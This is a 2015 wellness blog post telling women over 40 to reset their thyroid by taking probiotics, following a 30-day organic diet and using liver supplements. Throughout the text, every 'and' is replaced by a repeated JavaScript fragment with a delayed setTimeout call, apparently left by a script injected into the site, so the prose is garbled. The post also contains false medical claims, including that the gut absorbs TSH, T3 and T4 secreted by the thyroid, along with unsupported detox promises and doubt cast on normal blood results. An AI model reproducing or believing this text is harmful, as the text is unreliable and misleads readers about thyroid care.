Detox Your Thyroid

Posted On : August 17, 2015

Young female touches her neckThere comes a time in most women’s lives where they begin to feel like their thyroid isn’t functioning as well as it used to. It usually happens around 40 when all the old tricks to losing weight andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feeling great stop working.

Poor thyroid function has been linked to depression, trouble sleeping, unexplained weight gain, fatigue, dry hair, brittle nails, skin changes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an overall feeling of poor health. In the 20 years I have been in practice, I can’t tell you how many women I have watched go through the breakdown of their thyroid andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and find themselves living in a body that is draining them.

I have great news for you! Resetting the thyroid is not hard. As women, we are masters of multitasking. This has caused many of us to overcommit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has us living a crazy busy lifestyle. This crazy busy lifestyle has caused several systems in our bodies to begin to breakdown. Once you repair these systems, you can restart your thyroid.

The following are two easy steps to restarting your thyroid:

Detox Your Gut

The health of your gastrointestinal system is key to keeping many other systems in your body working properly as well. Your gut is responsible for 80% of your immune system, the production of B vitamins, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and neurotransmitters that keep you happy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and give you energy. The gut is also responsible for the absorption of hormones that get secreted from the thyroid. Hormones such as TSH, T3, T4, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thyroxine. When your gut is healthy, you will absorb these hormones easily andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you will feel like your thyroid is functioning normally. If your gut is out of balance, your thyroid can secrete these hormones, but your body will not absorb them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and use them properly. I have seen this many times, where a patient’s MD says that their thyroid blood work is normal but the patient has all the symptoms of an underactive thyroid.

Best start to detoxing your gut is to make sure you are taking a high quality probiotic. You want something with 10-20 billion CFU’s in it. Your gut is like then soil in your garden. It needs fertilization to work at its best. Probiotics are like miracle grow for your gut. Take one first thing when you get up in the morning, 20 minutes before you eat.

Detox Your Liver

There is no question we live in a more toxic world than ever before. Our livers are miraculous organs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are working hard to keep up with the increased demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands that we have placed upon it. In many people, the toxins are so high that their livers can’t keep up. The thyroid is very susceptible to toxins. If your liver is having trouble filtering all the toxins in your body, the extra toxins the liver cannot filter will damage the thyroid.

A good detox program will include removing toxic foods such as non-organic, genetically modified foods. Processed foods laden with chemicals such as high fructose corn syrup andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and partially hydrogenated oils will overload the liver as well. Alcohol andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and medications will also add stress to the liver. Follow a diet of organic proteins, fruits, vegetables, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nuts for 30 days andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and give your liver a break from the toxic overload. I also often recommend to my patients a short period of supplements such as glutathione, alpha lipoid acid, glycine, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and milk thistle to give the liver extra nutrients to be able to do its job.

Remember resetting your thyroid is not hard if you have the right information. Start by repairing your gut andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and liver. With time, your thyroid will be strong again. I promise!